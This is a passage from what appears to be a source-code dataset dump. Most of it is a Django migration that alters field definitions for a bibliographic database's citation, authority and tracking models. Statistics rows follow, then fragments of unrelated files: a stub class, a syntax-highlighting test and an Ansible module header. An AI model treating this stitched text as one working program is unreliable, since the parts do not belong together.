field=models.TextField(blank=True, help_text='Abstract or detailed summaries of a work.', null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='additional_titles',
field=models.TextField(blank=True, help_text='Additional titles (not delimited, free text).', null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='book_series',
field=models.CharField(blank=True, help_text='Used for books, and potentially other works in a series.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='created_by_native',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The user who created this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicalcitation',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='description',
field=models.TextField(blank=True, help_text="Used for additional bibliographic description, such as content summary. For abstracts use the 'Abstract' field.", null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='edition_details',
field=models.TextField(blank=True, help_text='Use for describing the edition or version of the resource. Include names of additional contributors if necessary for clarification (such as translators, introduction by, etc). Always, use relationship table to list contributors (even if they are specified here).', null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='hstm_uploaded',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload')], max_length=2, null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='id',
field=models.CharField(db_index=True, help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200),
),
migrations.AlterField(
model_name='historicalcitation',
name='modified_by',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicalcitation',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='historicalcitation',
name='modified_on',
field=models.DateTimeField(blank=True, editable=False, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='historicalcitation',
name='part_details',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='New field: contains volume, issue, page information for works that are parts of larger works.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='isisdata.PartDetails'),
),
migrations.AlterField(
model_name='historicalcitation',
name='physical_details',
field=models.CharField(blank=True, help_text='For describing the physical description of the resource. Use whatever information is appropriate for the type of resource.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='historicalcitation',
name='publication_date',
field=models.DateField(blank=True, help_text='Used for search and sort functionality. Does not replace Attribute functionality.', null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='record_action',
field=models.CharField(blank=True, choices=[('EX', 'External Proof'), ('QU', 'Query Proof'), ('HO', 'Hold'), ('RC', 'RLG Correct')], help_text='Used to track the record through curation process.', max_length=2),
),
migrations.AlterField(
model_name='historicalcitation',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='status_of_record',
field=models.CharField(blank=True, choices=[('CL', 'Content List'), ('SB', 'Source Book'), ('SC', 'Scope'), ('FX', 'Fix Record'), ('DP', 'Duplicate'), ('DL', 'Delete'), ('RL', 'Isis RLG')], help_text='\n Used to control printing in the paper volume of the CB.\n ', max_length=2),
),
migrations.AlterField(
model_name='historicalcitation',
name='title',
field=models.CharField(blank=True, help_text="The name to be used to identify the resource. For reviews that traditionally have no title, this should be added as something like '[Review of Title (Year) by Author]'.", max_length=2000),
),
migrations.AlterField(
model_name='historicalcitation',
name='tracking_state',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload'), ('PT', 'Printed'), ('AU', 'Authorized'), ('PD', 'Proofed'), ('FU', 'Fully Entered'), ('NO', 'None')], db_index=True, max_length=2, null=True),
),
migrations.AlterField(
model_name='historicalcitation',
name='type_controlled',
field=models.CharField(blank=True, choices=[('BO', 'Book'), ('AR', 'Article'), ('CH', 'Chapter'), ('RE', 'Review'), ('ES', 'Essay Review'), ('TH', 'Thesis'), ('EV', 'Event'), ('WO', 'Web Object'), ('MO', 'Multimedia Object'), ('AO', 'Archive Object'), ('DR', 'Digital Resource'), ('PC', 'Personal Recognition')], help_text='This list can be extended to the resource types specified by Doublin Core Recource Types http://dublincore.org/documents/resource-typelist/', max_length=2, null=True, verbose_name='type'),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='id',
field=models.CharField(db_index=True, help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='modified_by',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='modified_on',
field=models.DateTimeField(blank=True, editable=False, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='resource_name',
field=models.CharField(blank=True, help_text='Title of the resource that the URN links to.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='type_controlled',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='This field is used to determine what values are acceptable for the URN field, and to choose the correct display modality in the public-facing site and metadata', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='isisdata.LinkedDataType', verbose_name='type'),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='universal_resource_name',
field=models.TextField(db_index=True, help_text='The value of the identifier (the actual DOI link or the value of the ISBN, etc). Will be a URN, URI, URL, or other unique identifier for a work, used as needed to provide information about how to find the digital object on the web or to identify the physical object uniquely.'),
),
migrations.AlterField(
model_name='historicallinkeddata',
name='url',
field=models.TextField(blank=True, help_text='If the URN is not an URL, you may optionally provide one here, for display purposes.', null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='authority_ptr',
field=models.ForeignKey(auto_created=True, blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, parent_link=True, related_name='+', to='isisdata.Authority'),
),
migrations.AlterField(
model_name='historicalperson',
name='classification_code',
field=models.CharField(blank=True, db_index=True, help_text='alphanumeric code used in previous classification systems to describe classification terms. Primarily of historical interest only. Used primarily for Codes for the classificationTerms. however, can be used for other kinds of terms as appropriate.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='classification_hierarchy',
field=models.CharField(blank=True, db_index=True, help_text='Used for Classification Terms to describe where they fall in the hierarchy.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='classification_system',
field=models.CharField(blank=True, choices=[('SPWT', 'Weldon Thesaurus Terms (2002-present)'), ('SPWC', 'Weldon Classification System (2002-present)'), ('GUE', 'Guerlac Committee Classification System (1953-2001)'), ('NEU', 'Neu'), ('MW', 'Whitrow Classification System (1913-1999)'), ('SHOT', 'SHOT Thesaurus Terms'), ('FHSA', 'Forum for the History of Science in America'), ('SAC', 'Search App Concept'), ('PN', 'Proper name')], db_index=True, default='SPWC', help_text='Specifies the classification system that is the source of the authority. Used to group resources by the Classification system. The system used currently is the Weldon System. All the other ones are for reference or archival purposes only.', max_length=4, null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='created_by_stored',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The user who created this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicalperson',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='description',
field=models.TextField(blank=True, help_text="A brief description that will be displayed to help identify the authority. Such as, brief bio or a scope note. For classification terms will be text like 'Classification term from the XXX classification schema.'", null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='id',
field=models.CharField(db_index=True, help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200),
),
migrations.AlterField(
model_name='historicalperson',
name='modified_by',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicalperson',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='historicalperson',
name='modified_on',
field=models.DateTimeField(blank=True, editable=False, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='historicalperson',
name='name',
field=models.CharField(db_index=True, help_text='Name, title, or other main term for the authority as will be displayed.', max_length=1000),
),
migrations.AlterField(
model_name='historicalperson',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='historicalperson',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='record_status',
field=models.CharField(blank=True, choices=[('AC', 'Active'), ('DU', 'Duplicate'), ('RD', 'Redirect'), ('IN', 'Inactive')], max_length=2, null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='tracking_state',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload'), ('PT', 'Printed'), ('AU', 'Authorized'), ('PD', 'Proofed'), ('FU', 'Fully Entered'), ('BD', 'Bulk Data Update'), ('NO', 'No')], db_index=True, max_length=2, null=True),
),
migrations.AlterField(
model_name='historicalperson',
name='type_controlled',
field=models.CharField(blank=True, choices=[('PE', 'Person'), ('IN', 'Institution'), ('TI', 'Time Period'), ('GE', 'Geographic Term'), ('SE', 'Serial Publication'), ('CT', 'Classification Term'), ('CO', 'Concept'), ('CW', 'Creative Work'), ('EV', 'Event'), ('CR', 'Cross-reference')], db_index=True, help_text='Specifies authority type. Each authority thema has its own list of controlled type vocabulary.', max_length=2, null=True, verbose_name='type'),
),
migrations.AlterField(
model_name='historicaltracking',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='historicaltracking',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicaltracking',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='historicaltracking',
name='id',
field=models.CharField(db_index=True, help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200),
),
migrations.AlterField(
model_name='historicaltracking',
name='modified_by',
field=models.ForeignKey(blank=True, db_constraint=False, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='historicaltracking',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='historicaltracking',
name='modified_on',
field=models.DateTimeField(blank=True, editable=False, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='historicaltracking',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='historicaltracking',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='historicaltracking',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='historicaltracking',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='historicaltracking',
name='type_controlled',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload'), ('PT', 'Printed'), ('AU', 'Authorized'), ('PD', 'Proofed'), ('FU', 'Fully Entered'), ('BD', 'Bulk Data Update'), ('NO', 'None')], db_index=True, max_length=2, null=True),
),
migrations.AlterField(
model_name='language',
name='id',
field=models.CharField(help_text='Language code (e.g. ``en``).', max_length=2, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='linkeddata',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='linkeddata',
name='belongs_to',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Dataset'),
),
migrations.AlterField(
model_name='linkeddata',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='linkeddata',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='linkeddata',
name='id',
field=models.CharField(help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='linkeddata',
name='modified_by',
field=models.ForeignKey(blank=True, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='linkeddata',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='linkeddata',
name='modified_on',
field=models.DateTimeField(auto_now=True, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='linkeddata',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='linkeddata',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='linkeddata',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='linkeddata',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='linkeddata',
name='resource_name',
field=models.CharField(blank=True, help_text='Title of the resource that the URN links to.', max_length=255, null=True),
),
migrations.AlterField(
model_name='linkeddata',
name='type_controlled',
field=models.ForeignKey(help_text='This field is used to determine what values are acceptable for the URN field, and to choose the correct display modality in the public-facing site and metadata', null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.LinkedDataType', verbose_name='type'),
),
migrations.AlterField(
model_name='linkeddata',
name='universal_resource_name',
field=models.TextField(db_index=True, help_text='The value of the identifier (the actual DOI link or the value of the ISBN, etc). Will be a URN, URI, URL, or other unique identifier for a work, used as needed to provide information about how to find the digital object on the web or to identify the physical object uniquely.'),
),
migrations.AlterField(
model_name='linkeddata',
name='url',
field=models.TextField(blank=True, help_text='If the URN is not an URL, you may optionally provide one here, for display purposes.', null=True),
),
migrations.AlterField(
model_name='linkeddata',
name='zotero_accession',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='zotero.ImportAccession'),
),
migrations.AlterField(
model_name='linkeddatatype',
name='pattern',
field=models.CharField(blank=True, help_text='Regular expression used to validate :class:`.LinkedData` values.', max_length=255),
),
migrations.AlterField(
model_name='location',
name='latitude_direction',
field=models.CharField(choices=[('N', 'North'), ('S', 'South')], max_length=1),
),
migrations.AlterField(
model_name='location',
name='longitude_direction',
field=models.CharField(choices=[('E', 'East'), ('W', 'West')], max_length=1),
),
migrations.AlterField(
model_name='partdetails',
name='extent',
field=models.PositiveIntegerField(blank=True, help_text='Provides the size of the work in pages, words, or other counters.', null=True),
),
migrations.AlterField(
model_name='partdetails',
name='sort_order',
field=models.IntegerField(default=0, help_text='" New field: provides a sort order for works that are part of a larger work.'),
),
migrations.AlterField(
model_name='place',
name='gis_location',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Location'),
),
migrations.AlterField(
model_name='place',
name='gis_schema',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.LocationSchema'),
),
migrations.AlterField(
model_name='searchquery',
name='name',
field=models.CharField(blank=True, help_text='Provide a memorable name so that you can find this search later.', max_length=255, null=True),
),
migrations.AlterField(
model_name='tag',
name='schema',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='tags', to='isisdata.TaggingSchema'),
),
migrations.AlterField(
model_name='tagappellation',
name='tag',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Tag'),
),
migrations.AlterField(
model_name='taggingschema',
name='created_by',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='tagging_schemas', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='tracking',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='tracking',
name='belongs_to',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Dataset'),
),
migrations.AlterField(
model_name='tracking',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='tracking',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='tracking',
name='id',
field=models.CharField(help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='tracking',
name='modified_by',
field=models.ForeignKey(blank=True, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='tracking',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='tracking',
name='modified_on',
field=models.DateTimeField(auto_now=True, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='tracking',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='tracking',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='tracking',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='tracking',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='tracking',
name='type_controlled',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload'), ('PT', 'Printed'), ('AU', 'Authorized'), ('PD', 'Proofed'), ('FU', 'Fully Entered'), ('BD', 'Bulk Data Update'), ('NO', 'None')], db_index=True, max_length=2, null=True),
),
migrations.AlterField(
model_name='tracking',
name='zotero_accession',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='zotero.ImportAccession'),
),
migrations.AlterField(
model_name='usermodulerule',
name='module_action',
field=models.CharField(choices=[('view', 'View'), ('update', 'Update')], max_length=255),
),
migrations.AlterField(
model_name='userprofile',
name='authority_record',
field=models.OneToOneField(blank=True, help_text="A user can 'claim' an Authority record, asserting that the record refers to theirself.", null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='associated_user', to='isisdata.Authority'),
),
migrations.AlterField(
model_name='userprofile',
name='bio_markup_type',
field=models.CharField(choices=[('', '--'), ('html', 'HTML'), ('plain', 'Plain'), ('markdown', 'Markdown'), ('restructuredtext', 'Restructured Text')], default='markdown', editable=False, max_length=30),
),
migrations.AlterField(
model_name='userprofile',
name='resolver_institution',
field=models.ForeignKey(blank=True, help_text='A user can select an institution for which OpenURL links should be generated while searching.', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='users', to='openurl.Institution'),
),
migrations.AlterField(
model_name='userprofile',
name='share_email',
field=models.BooleanField(default=False, help_text='A user can indicate whether or not their email address should be made public.'),
),
migrations.AlterField(
model_name='value',
name='attribute',
field=models.OneToOneField(help_text='The Attribute to which this Value belongs.', on_delete=django.db.models.deletion.CASCADE, related_name='value', to='isisdata.Attribute'),
),
migrations.AlterField(
model_name='value',
name='child_class',
field=models.CharField(help_text='Name of the child model for this instance.', max_length=255),
),
]
| 62.065582 | 973 | 0.640878 | 13,525 | 118,297 | 5.482144 | 0.052865 | 0.101691 | 0.127114 | 0.147452 | 0.95958 | 0.954765 | 0.938068 | 0.916408 | 0.88439 | 0.868503 | 0 | 0.00642 | 0.233717 | 118,297 | 1,905 | 974 | 62.098163 | 0.811526 | 0.00038 | 0 | 0.939968 | 1 | 0.039494 | 0.369624 | 0.009784 | 0.00158 | 0 | 0 | 0 | 0.000527 | 1 | 0 | false | 0 | 0.017904 | 0 | 0.019484 | 0.001053 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
91fc0f170b782c5474aa10fb9850047b0659e73d | 110 | py | Python | testing/testing_package/package_a/base.py | cclauss/git-code-debt | 6ced089857d3ccda4a00d274e85d7f26de0bdefd | [
"MIT"
] | null | null | null | testing/testing_package/package_a/base.py | cclauss/git-code-debt | 6ced089857d3ccda4a00d274e85d7f26de0bdefd | [
"MIT"
] | null | null | null | testing/testing_package/package_a/base.py | cclauss/git-code-debt | 6ced089857d3ccda4a00d274e85d7f26de0bdefd | [
"MIT"
] | null | null | null | from __future__ import absolute_import
from __future__ import unicode_literals
class Base(object):
pass
| 15.714286 | 39 | 0.818182 | 14 | 110 | 5.714286 | 0.714286 | 0.25 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.154545 | 110 | 6 | 40 | 18.333333 | 0.860215 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.25 | 0.5 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 8 |
6219f6fb48c79bfebacd4a7bf5b19231102e0e7f | 435 | py | Python | vscode/extensions/magicstack.magicpython-1.0.12/test/docstrings/continuation2.py | nlimpid/dotfiles | b78d08707992f742f984f556fa58349c2ccd095d | [
"MIT"
] | 5 | 2017-02-22T10:17:39.000Z | 2021-04-06T16:36:13.000Z | test/docstrings/continuation2.py | Setonas/MagicSetonas | ef76da5f27a0506b194c58072b81424e3ce985d7 | [
"MIT"
] | 4 | 2019-06-16T09:52:03.000Z | 2019-08-18T02:11:35.000Z | vscode/extensions/magicstack.magicpython-1.0.12/test/docstrings/continuation2.py | nlimpid/dotfiles | b78d08707992f742f984f556fa58349c2ccd095d | [
"MIT"
] | 1 | 2020-08-29T02:30:52.000Z | 2020-08-29T02:30:52.000Z | '
'
' : punctuation.definition.string.begin.python, source.python, string.quoted.docstring.single.python
: invalid.illegal.newline.python, source.python, string.quoted.docstring.single.python
' : punctuation.definition.string.begin.python, source.python, string.quoted.docstring.single.python
: invalid.illegal.newline.python, source.python, string.quoted.docstring.single.python
| 43.5 | 112 | 0.712644 | 46 | 435 | 6.73913 | 0.26087 | 0.154839 | 0.232258 | 0.309677 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0.172414 | 435 | 9 | 113 | 48.333333 | 0.861111 | 0 | 0 | 0.666667 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
6228760e11222a732610f52f3801a814b41e2d30 | 83,459 | py | Python | venv/lib/python3.6/site-packages/ansible_collections/google/cloud/plugins/modules/gcp_compute_region_url_map_info.py | usegalaxy-no/usegalaxy | 75dad095769fe918eb39677f2c887e681a747f3a | [
"MIT"
] | 7 | 2021-11-16T04:05:42.000Z | 2022-02-19T21:14:29.000Z | venv/lib/python3.6/site-packages/ansible_collections/google/cloud/plugins/modules/gcp_compute_region_url_map_info.py | usegalaxy-no/usegalaxy | 75dad095769fe918eb39677f2c887e681a747f3a | [
"MIT"
